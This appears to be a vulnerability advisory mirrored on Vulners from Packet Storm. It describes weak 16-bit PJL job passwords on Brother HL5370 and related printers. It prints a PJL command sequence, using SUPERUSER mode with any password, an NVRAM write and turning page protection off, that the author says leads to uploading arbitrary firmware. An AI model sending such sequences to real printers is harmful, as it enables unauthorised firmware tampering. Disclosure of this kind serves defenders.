Lucene search
+L

Brother HL5370 Command Execution / Password Guessing

🗓️ 12 Feb 2013 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

Brother HL5370 Command Execution and Password Guessing Vulnerabilit

Code
`Tested on Brother HL5370 latest firmware so far, confirmed working against many others by Brother documentation  
  
>From Brother .de website -  
  
http://qr.cx/zCt9  
  
Syntax for PJL JOB command includes -  
  
"PASSWORD = password ( HL-1660e/2060/2400C/2400Ce/3400CN/1650/1670N/3260N/2460/7050/   
1850/1870N/5040/5050/5070N/5140/5150D/5170DN/2600CN/2700CN/3450CN/6050/6050D/6050DN/805  
0N only )   
When the password is set by the DEFAULT command, modifying the NVRAM by using the DEFAULT or   
INITIALIZE commands is locked with the password. Sending the correct password with this command can   
unlock this until the EOJ command is executed.   
password = 0 to 65,535 Default value = 0   
When the printer receives the JOB command, the UEL command is not recognized as a job boundary until   
an EOJ command is received."  
  
Guessing 16-bit password is very fast, and printer does not or can not? slow down password guessing. Worse, password is easily found or not necessary. from printer ROM "image" header -  
  
12345X@PJL SUPERUSER PASSWORD=[any 16-bit sign value]  
@PJL DEFAULT LANGSELECT=1  
@PJL SUPERUSEROFF  
@PJL SUPERUSER PASSWORD=[any 16-bit sign value]  
@PJL WNVRAMBIT ADDRESS=288161793 DATA=1  
@PJL SUPERUSEROFF  
@PJL SET PAGEPROTECT=OFF  
@PJL ENTER LANGUAGE=PCL  
--> binary begins here  
  
Have not tested past uploading arbitrary firm ware. This should be enough to worry. Probably no point to Brother network controller supporting https and snmp 3 now...  
  
Brother snmp 3 support only short keys any way.  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation